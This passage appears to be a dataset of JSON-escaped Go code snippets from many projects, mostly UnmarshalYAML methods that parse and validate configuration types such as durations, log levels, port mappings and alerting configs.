:= yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}","func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}","func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}","func (c *VictorOpsConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultVictorOpsConfig\n\ttype plain VictorOpsConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in VictorOps config\")\n\t}\n\tif c.RoutingKey == \"\" {\n\t\treturn fmt.Errorf(\"missing Routing key in VictorOps config\")\n\t}\n\treturn checkOverflow(c.XXX, \"victorops config\")\n}","func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}","func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}","func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}","func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}","func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}","func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}","func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}","func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}","func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}","func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar j string\n\tif err := unmarshal(&j); err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\n\t*a = approvalStrategyToID[strings.ToLower(j)]\n\treturn nil\n}","func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}","func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}","func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}","func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}","func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}","func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}","func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}","func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}","func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*s = defaultConfig\n\ttype plain IPMIConfig\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif err := checkOverflow(s.XXX, \"modules\"); err != nil {\n\t\treturn err\n\t}\n\tfor _, c := range s.Collectors {\n\t\tif err := c.IsValid(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}","func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}","func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}","func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tgenericOutputs := []interface{}{}\n\tif err := unmarshal(&genericOutputs); err != nil {\n\t\treturn err\n\t}\n\n\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*b = outputConfs\n\treturn nil\n}","func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}","func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}","func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val int8\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\tv.Val = val\n\tv.IsAssigned = true\n\treturn nil\n}","func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}","func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}","func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}","func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}","func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\n\treturn yamlUnmarshal(y, o, false, opts...)\n}","func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}","func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}","func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.HTTP); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.HTTP.IsEmpty() {\n\t\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\n\t\tr.Enabled = nil\n\t\t// this assignment lets us treat the main listener rule and additional listener rules equally\n\t\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\n\t\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\n\t\t\tr.Main.TargetContainer = r.TargetContainerCamelCase\n\t\t\tr.TargetContainerCamelCase = nil\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Enabled); err != nil {\n\t\treturn errors.New(`cannot marshal \"http\" field into bool or map`)\n\t}\n\treturn nil\n}","func (c *OpsGenieConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultOpsGenieConfig\n\ttype plain OpsGenieConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in OpsGenie config\")\n\t}\n\treturn checkOverflow(c.XXX, \"opsgenie config\")\n}","func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err 